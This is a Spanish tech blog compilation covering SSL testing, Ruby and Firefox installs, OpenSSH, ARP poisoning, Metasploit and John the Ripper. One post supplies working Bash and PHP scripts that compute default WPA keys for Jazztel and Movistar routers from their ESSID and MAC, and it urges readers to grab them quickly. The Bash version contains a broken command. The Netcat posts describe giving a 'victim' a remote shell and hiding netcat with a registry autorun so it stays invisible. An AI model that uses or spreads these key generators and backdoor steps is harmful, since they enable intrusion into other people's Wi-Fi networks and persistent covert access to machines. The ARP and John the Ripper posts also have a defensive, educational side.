Como averiguar el nivel de seguridad SSL de una página web (HTTPs)

En anteriores artículos os he explicado qué tipos de cifrados asimétricos, simétricos, y de autenticación (hash) podemos encontrarnos.

Os he explicado en muchas ocasiones que conectándonos a través de SSL estamos más seguros en la red que no haciéndolo.

También informé sobre la herramienta de Google para acelerar el SSL, y sobre la implementación de SSL en Youtube, en Facebook y en Twitter.

Ahora os traigo una pequeña página web que analiza la seguridad de la página web (en lo que al SSL se refiere).

Es capaz de decirnos sus puntos fuertes y sus puntos débiles. Al final del escáner nos muestra los resultados y nos da una puntuación.

A continuación tenéis la web y unas capturas de pantalla para que lo veáis. Nos metemos en esta web: Qualys SSL Labs

Metemos la dirección de la página web y pinchamos en el botón Submit, si la página web ya está analizada (de un análisis anterior), nos mostrará los resultados inmediatamente.

En esta pantalla encontramos información sobre el certificado, cuando expira, la llave utilizada (key) y el algoritmo. Como ejemplo he usado mi banco, Google y mi propio blog... a continuación algunos pantallazos.





En la siguiente captura podéis ver los protocolos y cifrados que soportan, soportar más protocolos no es sinónimo de una mayor seguridad, justo al contrario.

Se deberían deshabilitar esos protocolos antiguos, por suerte, Facebook no usa ninguno antiguo (luego veremos que hay otras webs que sí).

Y aquí tenemos en lo que casi todos fallan, la renegociación TLS, donde lo han deshabilitado para esquivar el bug del TLS-renegotiation. Otros simplemente lo tienen activado…con el bug.



Sin embargo, la web de Google, cumple con todo lo establecido, o sea perfecta.

Ahora ya podremos saber de una manera más técnica si una web con SSL es más segura que otra, sobre todo podéis mirar la seguridad de los bancos y plataformas de pago que es donde la seguridad es lo más importante.

Enlaces de interés:

1. Twitter implementa HTTPs por defecto para proteger nuestra seguridad y privacidad


2. Youtube empieza a usar el protocolo HTTPS (SSL) para conexiones cifradas en sus vídeos


3. Facebook permite conexiones HTTPS siempre que nos conectemos


4. Ciberataque a RSA : Roban información de la división de seguridad de EMC


5. Redes Sociales : Seguridad y privacidad

Instalacion de Ruby on Rails en Linux

Ruby es un lenguaje de programación interpretado. Ruby funciona con cualquier sistema operativo moderno, pero se siente más "en casa" en sistemas tipo Unix (como por ejemplo y es nuestro caso de instalación un Linux).

La manera en que instalemos ruby depende mucho de nuestro tipo de máquina y sus necesidades. Es recomendable que lea todo lo relevante a la plataforma que desee instalar antes de que haga una decisión acerca de cómo instalarlo.

http://www.ruby-lang.org/es/

http://www.pablasso.com/2009/01/12/%C2%BFcomo-instalar-ruby-on-rails-en-ubuntu

http://www.noticias-tecnologia.com.ar/tutoriales/instalar-ruby-on-rails-en-windows/

Pasos rápidos y sencillos (Para Linux Ubuntu 10.04, 10.10 y 11.04):

NOTA: DEBE SER UNA INSTALACIÓN LIMPIA, ME REFIERO DESDE CERO...DESINSTALANDO TODO AQUELLO QUE TUVIÉSEMOS EN EL DISCO RELACIONADO CON RUBY, RAILS, GEM O REDCAR....

mike@m7:~$ sudo apt-get install rails

Una vez todo instalado, incluidas las dependencias, tendréis un entorno listo para funcionar...pero si queremos tener las ultimas versiones de todo no tendremos otro remedio que seguir los siguientes pasos para poder tenerlos.

mike@m7:~$ sudo apt-get install build-essential git-core curl

mike@m7:~$ bash < <(curl -s https://rvm.beginrescueend.com/install/rvm)

mike@m7:~$ echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm"' >> ~/.bashrc

En otra consola diferente, cerráis la que esta abierta y volvéis a abrir otra diferente (sino no funcionara)

mike@m7:~$ rvm notes

mike@m7:~$ sudo apt-get install build-essential bison openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev

mike@m7:~$ sudo gem install sqlite3-ruby

mike@m7:~$ rvm install ruby-1.9.2

mike@m7:~$ rvm use ruby-1.9.2 --default

mike@m7:~$ gem update --system

mike@m7:~$ gem install rails

mike@m7:~$ gem install sqlite3

mike@m7:~$ ruby -v

Y debería apareceros lo siguiente:

mike@m7:~$ gem -v

mike@m7:~$ rails -v

mike@m7:~$ gem list

Y por ultimo os recomiendo que descargeis el siguiente entorno para programación que encontré para ello, sobre todo para Ruby, escrito en Python....

Enlace de descarga: http://www.sublimetext.com/2

Lo descargáis en cualquier carpeta, lo descomprimís y os metéis en la carpeta...veréis lo siguiente...



Bien, el ejecutable es “sublime_text”...desde Nautilus (pulsando dos veces sobre el nombre del archivo) o desde la terminal con

mike@m86:~/rails/Sublime Text 2$ ./sublime_text

Y listo … aquí lo tenéis en funcionamiento....

Instalar Firefox 4.0 desde repositorios...

Para instalar Firefox 4.0 desde los repositorios oficiales nada mas fácil que introducir esto desde la consola lo siguiente...

Tanto para 10.04 como 10.10 de Linux en Ubuntu:

sudo add-apt-repository ppa:mozillateam/firefox-stable

sudo apt-get update

sudo apt-get install firefox ubufox

O directamente en una sola línea de la siguiente forma:

sudo add-apt-repository ppa:mozillateam/firefox-stable && sudo apt-get update && sudo apt-get install firefox ubufox

Si tenéis problemas con el idioma, y solo descarga la versión inglesa elegid de los siguientes enlaces dependiendo de la versión que tengais 32 bits / 64 bits.

Además si quereis cambiarle la apariencia en Linux y darle un toque mas azul podeis probar con el siguiente tema GTK+

Enlace de descarga: Tema Bluebird para Firefox 4

Y además podeis tener el tema completo en Ubuntu de la siguiente forma:

sudo add-apt-repository ppa:webupd8team/themes && sudo apt-get update && sudo apt-get install bluebird-gtk-theme

o por separado también asi:

sudo add-apt-repository ppa:webupd8team/themes

sudo apt-get update

sudo apt-get install bluebird-gtk-theme

Linux: poner las páginas de Man en castellano

Las páginas de Man son indispensables cuando tenemos alguna duda acerca de la utilización de un comando o de sus parámetros.

Para quien no las haya usado basta con ejecutar desde consola:

$ man comando_del_que_obtener_información

Ejemplo:

$ man ls

Pero claro la información aparece en ingles. Si te interesa verla en castellano, Víctor Jose (Gracias) le envió un tip a Ubuntu Life de como lograrlo y que vio en Ubuntu-es.

Los pasos serian los siguientes:

(Primero lo de siempre)

$ sudo apt-get update

$ sudo apt-get upgrade

Y ahora sí:

$ sudo apt-get install manpages-es manpages-es-extra

$ sudo dpkg-reconfigure locales

Otra forma es ponerlo todo en un solo comando:

$ sudo apt-get update && sudo apt-get install manpages-es manpages-es-extra && sudo dpkg-reconfigure locales

Y listo, las páginas man deberían estar en español...o por lo menos casi todas.

[gallery link="file" orderby="title"]

Routers WIFI al descubierto

Los usuarios de jazztel y movistar que no hayan cambiado el nombre (ESSID) de sus wifis pueden ir pensando en hacerlo: El algoritmo ha sido descifrado. Por lo visto, el que sacó a la luz el algoritmo fue elvecinoo en este hilo de lampiweb En http://kz.ath.cx/wlan/ (entre otros mas que alojan los algoritmos) se ingresa nombre y la MAC del router y te la clava.

Algunos ejemplos:

En BASH:

#!/bin/bash                                                                     

echo CalcWLAN by a.s.r                                                          

if [ $# -ne 2 ]
then
        echo "Usage: $0 <ESSID> <BSSID>"
        echo
        echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
        exit 1
fi                                                                              

HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d)
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)                  

echo "La puta clave es $KEY"

En PHP:

// THIS CODE IS UNDER THE PUBLIC DOMAIN

function right($string, $chars)
{
	return substr($string, strlen($string) - $chars, $chars);
}

if (isset($_POST['essid']) && isset($_POST['bssid']))
{
	$bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid'])));

	if (strlen($bssid) != 12)
	{
		die('Mete bien la MAC, buen hombre.');
	}

	$essid = strtoupper(trim($_POST['essid']));
	$_ssid = substr($bssid, 0, 8).right($essid, 4);

	die(substr(md5('bcgbghgg'.$_ssid.$bssid), 0, 20));
}

Daos prisa antes de que cierren las webs donde se alojan los fuentes.

OpenSSH (Introducción)

SSH (Secure SHell, en español: intérprete de órdenes segura) es el nombre de un protocolo y del programa que lo implementa, y sirve para acceder a máquinas remotas a través de una red. Permite manejar por completo la computadora mediante un intérprete de comandos, y también puede redirigir el tráfico de X para poder ejecutar programas gráficos si tenemos un Servidor X (en sistemas Unixy Windows) corriendo.

Además de la conexión a otros dispositivos, SSH nos permite copiar datos de forma segura (tanto ficheros sueltos como simular sesiones FTP cifradas), gestionar claves RSA para no escribir claves al conectar a los dispositivos y pasar los datos de cualquier otra aplicación por un canal seguro tunelizado mediante SSH.

OpenSSH (Open Secure Shell) es un conjunto de aplicaciones que permiten realizar comunicaciones cifradas a través de una red, usando el protocolo SSH. Fue creado como una alternativa libre y abierta al programa Secure Shell, que es software propietario. El proyecto está liderado por Theo de Raadt, residente en Calgary.

La suite OpenSSH incluye:

• ssh, reemplaza a rlogin y telnet para permitir shell el acceso remoto a otra máquina. ssh tero@ejemplo.com


• scp, reemplaza a rcp scp tero@ejemplo.com:~/archivo .


• sftp, reemplaza a ftp para copiar archivos entre dos computadoras sftp tero@ejemplo.com


• sshd, el servidor demonio SSH sshd


• ssh-keygen, una herramienta para inspeccionar y generar claves RSA y DSA que son usadas para la autenticación del cliente o usuario.


• ssh-agent y ssh-add, herramientas para autenticarse de manera mas fácil, manteniendo las claves listas para no tener que volver a introducir la frase de acceso cada vez que utilice la clave.


• ssh-keyscan, que escanea una lista de clientes y recolecta sus claves públicas.

El servidor OpenSSH puede autenticar a los usuarios mediante todos los métodos estándar del protocolo ssh

Envenenamiento ARP (Conclusión - VI)

Conclusión

Hemos visto cómo un ataque tan peligroso puede ser llevado a cabo con significativa facilidad haciendo uso de una herramienta que está a disposición de todo el mundo.Si cualquier aficionado es capaz de logar escuchas protegidas y privadas, ¿qué no podrá hacer un experto en redes?. Muchos son los administradores de redes que adjudican tiempo y dinero a soluciones a nivel de red como pueden ser firewalls, firewalls­bridge, sistemas de detección y prevención de intrusiones (IDS, IPS respectivamente), etc... pero que son inútiles en este tipo de ataques, en donde el nivel más básico y bajo el cual se sustentan todos los demás niveles queda desprotegido ante cualquier aficionado. Así que no deje descuidada la red si desea mantener la privacidad de sus datos. En caso de pertenecer a una red en donde usted contemple que la seguridad queda en entredicho, no dude consultar al administrador y hacerle saber el problema. Por lo demás, tomemos siempre precauciones, es mejor ser desconfiado.

Mike Mars

Bibliografía

www.google.com

http://es.wikipedia.org

www.monografias.com

http://www.rfc­editor.org/rfc/rfc826.txt

http://bulma.net/body.phtml?nIdNoticia=1193

www.secudos.de

http://ettercap.sourceforge.net

http://ditec.um.es/laso/docs/tut­tcpip/3376c28.html#figethfram

www.robota.net

www.irongeek.com

http://www.maestrosdelweb.com/editorial/sniffers/

http://www.xombra.com/go_articulo.php?articulo=47

Tutorial V

Tutorial IV

Tutorial III

Tutorial II

Tutorial I

Envenenamiento ARP (Soluciones - V)

Soluciones

5.1 ARPwatch

En sistemas Linux la herramienta ARPWatch ( http://www­nrg.ee.lbl.gov/) nos puede servir para detectar el uso del envenenamiento ARP en nuestro sistema. Con ARPWatch podemos comprobar la correspondencia entre pares IP­MAC (Ethernet). En caso de que un cambio en un par se produzca (esto es, se escuche en el interfaz de red del sistema), ARPWatch envía un correo de notificación del suceso a la cuenta root o administrador del sistema con un mensaje tipo "FLIP FLOP o Change ethernet address" . También podemos monitorizar la existencia de nuevos host (aparición de una nueva MAC en la red).

Envenenamiento ARP (Ettercap - IV)

Ettercap

Una de las herramientas más potentes que hacen uso del envenenamiento ARP en entornos GNU/Linux es Ettercap (http://ettercap.sourceforge.net). Ésta es una herramienta con licencia GPL diseñada con el fin de analizar , filtrar, logear y escuchar determinado tráfico circulando por la red. Soporta disección activa y pasiva de muchos protocolos (incluso los cifrados). Es capaz de realizar ataques MITM (Man in the Middle) entre diferentes hosts de la red , con el fin de entrometerse en su comunicación y obtener información valiosa tipo contraseñas POP, SSH, Telnet, FTP, Https, etc...

Decir que la mayoría de los sistemas operativos (excepto linux 2.4 y solaris 8) no implementan estados en el protocolo arp (aceptan arp­ replys sin haber enviado antes un request), por lo que facilmente aceptan respuestas ARP y en consecuencia modifican su tabla ARP en caché con cada arp­reply recibido.

Metasploit: Uso en Linux y Windows (Parte II)

Después del primer post sobre el Metasploit donde os enseñaba a instalarlo tanto para Linux como Windows, ahora os dejo después de usar el Nmap para descubrir las posibles vulnerabilidades del Windows 2003 y Windows XP SP3 (usados en mis pruebas, bajo VirtualBox) como se usa para explotar esa vulnerabilidad en ambos sistemas...espero que os sirva.

En cuanto descubra nuevas posibilidades os dejaré mas vídeos....un saludo a todos:)

Metasploit: Instalación en Linux y Windows (Parte I)

El Proyecto Metasploit es un proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración y en el desarrollo de firmas para Sistemas de Detección de Intrusos.

Su subproyecto más conocido es el Metasploit Framework, una herramienta para desarrollar y ejecutar exploits contra una máquina remota.

Otros subproyectos importantes son la bases de datos de opcodes (códigos de operación), un archivo de shellcodes, e investigación sobre seguridad.

Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby.

John the Ripper (Windows v1.7.6)

John the Ripper es un programa que nos permite recuperar contraseñas a partir de los datos que existen en nuestro sistema. Actualmente está disponible para Unix/Linux, Windows, DOS, BeOS y OpenVMS. El propósito principal de esta herramienta es la detección se contraseñas débiles por parte del administrador del sistema.

John the Ripper no es un simple programa de cracking de contraseñas por fuerza bruta, dispone de varios modos de funcionamiento que permiten una búsqueda “inteligente” de las contraseñas más inseguras.

Por ejemplo, el modo single prueba como contraseñas candidatas el nombre de usuario, el nombre real, el nombre del home y combinaciones de estos nombres con números y letras.

Sin embargo, para entender cómo funciona John lo mejor es utilizarlo. ¿Te animas?

John the Ripper (actualizado 1.7.6)

John the Ripper es un programa que nos permite recuperar contraseñas a partir de los datos que existen en nuestro sistema. Actualmente está disponible para Unix/Linux, Windows, DOS, BeOS y OpenVMS. El propósito principal de esta herramienta es la detección se contraseñas débiles por parte del administrador del sistema.

John the Ripper no es un simple programa de cracking de contraseñas por fuerza bruta, dispone de varios modos de funcionamiento que permiten una búsqueda “inteligente” de las contraseñas más inseguras.

Por ejemplo, el modo single prueba como contraseñas candidatas el nombre de usuario, el nombre real, el nombre del home y combinaciones de estos nombres con números y letras.

Sin embargo, para entender cómo funciona John lo mejor es utilizarlo. ¿Te animas?

Envenenamiento ARP (Vulnerabilidad - III)

VULNERABILIDAD

Como hemos visto, siempre que un host desea enviar cualquier tipo de información IP a otro host, deberá conocer la MAC del destino para poder transmitir. Es necesario enviar una petición ARP a la red , por medio de la cual sólo responderá el host destino diciendo al origen su dirección hardware. Es posible engañar a un host dentro de la red diciéndole que la dirección MAC con quien se quiere comunicar sea un tercer host, produciéndose así una re-dirección del tráfico del host origen al host destino, en donde toda la información que salga del host origen pase por un tercer host, y éste a su vez vuelva a redireccionar el tráfico hacia el host destino verdadero con el fin de funcionar transparentemente en la comunicación de ambos y observando todo lo que se dicen. Este tipo de ataque se conoce como “Hombre en medio” o “Man In The Middle”.

Envenenamiento ARP (Protocolo ARP - II)

PROTOCOLO ARP

En una red tipo IEEE 802/Ethernet los hosts se comunican conociendo sus direcciones MAC, y no siempre sabremos ni dispondremos a mano de todas las direcciones MAC de todos los ordenadores que conforman la red. Como hemos dicho, el protocolo ARP será el encargado de obtener las direcciones físicas a partir de direcciones IP. En este tipo de redes es necesario conocer la MAC del destino con el fin de que solo el paquete llegue al interfaz de red correspondiente y no a otro, así que cuando se quiere producir una comunicación entre un host1 y un host2 en este tipo de redes, se tendrán que realizar una serie de pasos para llevar a cabo una comunicación correcta. Como observamos, el concepto de ARP solo cobra sentido si nos encontramos en el ámbito de redes conmutadas / locales, pues de lo contrario no sería necesario conocer la MAC del destino dentro de la red, pues la información se enviaría en modo multidifusión a todos los equipos de la red.

Curso de Seguridad: Cuarta parte…(Netcat II)

En este vídeo, continuo con la "navaja suiza", el Netcat, y os explico aunque no sin algún error corregido, como hacer que sea nuestra posible victima la que inicie la comunicación con nosotros y ademas como ocultar al Netcat en la maquina atacada de forma que se auto-ejecute y no sea visible por cualquier usuario...os enseño a ocultarlo en una carpeta de Windows, cambiarle los atributos, borrar todo rastro posible y crear una llave en el registro de forma que nuestra victima lo autoejecute siempre al inicio de la sesión.....de todas formas aun me queda en próximos tutoriales enseñaros a como rastrear puertos y elegir a nuestra victima segun ciertos criterios...

Para los interesados os dejo un archivo comprimido con los fuentes en su interior para que hagais prácticas con ellos....

Ficheros de Netcat usados en la práctica

MD5: 8dd4f8d4a7a2f4ac9c8b20fd36ce87af

SHA1: ae785dd3a022aeb5907454d49a117111a22d4c90

...Intentare continuar este tema más adelante....

Curso de Seguridad: Segunda parte...(Netcat I)

En este caso os dejo mi segundo tutorial sobre seguridad en Linux, con el uso de "la navaja suiza" que en realidad es el pequeño pero funcional Netcat.

Usamos el Netcat para 3 posibles usos que hemos visto en mi curso de seguridad:

• Como crear un chat en vivo entre dos host.


• Como lanzar en una posible victima una consola de comandos y controlarla.


• Como quitarle o traspasar archivos de la victima hacia nuestro Linux.

En cualquiera de los casos los posibles casos de usos de esta herramienta son infinitos...

Os dejo el enlace al Netcat para Windows

Netcat para Windows (tanto el zip como el ejecutable)

MD5 (zip): 9252b99be2ee208c1cb8c085a42956d8

SHA1 (zip): 64d141424e9ae8f5b34291b2695e0dc3f4660263

MD5 (exe): ab41b1e2db77cebd9e2779110ee3915d

SHA1 (exe): 4122cf816aaa01e63cfb76cd151f2851bc055481

Pronto continuaré el tutorial....

Curso de Linux para novatos, brutos y extremadamente torpes

Parte (I): Iniciación al Sistema Operativo Linux.

• A quién va dirigido este curso.


• Introducción a Linux.


• Algunos conceptos básicos.


• El manual del sistema.


• La shell.

Curso de Seguridad: Primera parte...(Certificados digitales)

En este comienzo del curso de Técnico de Seguridad y Redes en Linux, empiezo poniendo 3 vídeos que unidos forman una práctica de como crear un certificado digital para correo electrónico, creado bajo una máquina virtual de VirtualBox, en un sistema operativo Windows Server 2003, todo ello ejecutado en un Linux (Ubuntu 10.10 64 bits) el cual por estabilidad y seguridad hemos elegido como base del sistema completo.

Crearemos los servidores necesarios para su ejecución, entre los que tenemos un servidor DNS, uno de correo, otro para manejar y emitir los certificados, el famoso aunque inseguro Internet Explorer y el gestor de correos Thunderbird.

Lo importante de la práctica es poder crear un certificado bajo Windows Server 2003 para poder después exportarlo al Thunderbird y poder usarlo para enviar y recibir correos digitalmente firmados y cifrados.

Aquí os dejo los vídeos ya subidos a mi canal de YouTube... os los dejos también en el menú principal bajo la sección de Linux...

Espero que os ayude...en los próximos vídeos os mostraré como crear certificados con OpenSSl bajo Linux y desde la consola y también como crearlos para usarlos en páginas Web bajo Windows Server 2003.

Cursos gratuitos sobre SEGURIDAD & REDES para Linux

El Ministerio de Educación y Ciencia ha creado un curso sobre redes de área local, mas concretamente enfocado a aplicaciones y servicios, lo he subido al un servidor de descargas, para que lo descargues si no te funciona el enlace directo. Os dejo también el enlace para su descarga desde su servidor de acceso público.



Enlace de descarga: Curso gratuito

Enlace opcional: Curso gratuito

Además puesto que he comenzado un nuevo curso, esta vez sobre Seguridad en Redes y Sistemas me dispongo a dejaros algunos buenos libros para que os descargeis y leais ahora que llegan las Navidades y tenemos, o eso espero, bastante tiempo libre para nosotros.

1. Manual sobre la firma electrónica


2. Guia sobre Linux (Ubuntu)


3. Guia para Ubuntu (novatos)


4. Manual de detección de vulnerabilidades bajo Linux


5. Manual sobre Seguridad en Redes

Espero que disfruteis con ellos y recordad que en el menu superior podreis encontrar en la sección de Linux, otros manuales muy interesantes más enfocados al Hacking y Cracking, aunque hay de todo un poco.